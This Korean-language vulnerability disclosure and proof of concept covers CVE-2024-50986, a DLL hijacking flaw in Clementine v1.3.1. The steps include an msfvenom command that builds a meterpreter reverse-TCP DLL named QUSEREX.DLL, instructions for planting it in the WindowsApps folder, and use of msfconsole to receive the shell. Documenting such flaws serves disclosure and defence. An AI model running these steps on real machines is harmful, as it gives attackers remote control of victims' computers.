CVE-2024-50986: Clementine용 DLL 하이재킹 익스플로잇

설명: Clementine v.1.3.1의 문제로 인해 로컬 공격자가 제작된 DLL 파일을 통해 임의 코드를 실행할 수 있습니다.

영향을 받는 버전: Clementine v.1.3.1

연구자: Utkarsh (r1971d3) LinkedIn

NIST CVE 링크: https://nvd.nist.gov/vuln/detail/CVE-2024-50986

취약점 유형: 신뢰할 수 없는 검색 경로

영향을 받는 구성 요소: QUSEREX.DLL

개념 증명(PoC) 익스플로잇

공격 벡터

이 취약점을 악용하려면 공격자는 QUSEREX.DLL이라는 이름의 악성 DLL을 제작하여 C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ 디렉터리에 배치해야 합니다. Clementine 애플리케이션이 실행되면 이 악성 DLL이 로드되어 공격자의 코드가 실행됩니다.

설명 및 사용 방법

1. 적절한 필터를 사용하여 Process Monitor(procmon)로 누락된 DLL을 식별하고 Clementine이 Windows 운영 체제 내에서 해당 DLL을 검색하는 위치를 추적합니다.

2. 검색 결과, "QUSEREX.DLL" DLL이 C:\Users<username>\AppData\Local\Microsoft\WindowsApps\를 포함한 여러 위치에서 검색되고 있는 것으로 확인됩니다.

3. msfvenom을 사용하여 다음 명령어로 악성 DLL을 생성합니다:

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. 이 악성 DLL은 C:\Users<username>\AppData\Local\Microsoft\WindowsApps\ 디렉터리에 배치되며, Clementine에 의해 성공적으로 로드됩니다.

5. msfconsole을 사용하여 리버스 셸을 통해 스테이지드 페이로드가 전송되며, 결과적으로 대상 머신의 C:\Program Files (x86)\Clementine\projectm-presets 디렉터리에서 meterpreter 셸 세션이 획득됩니다.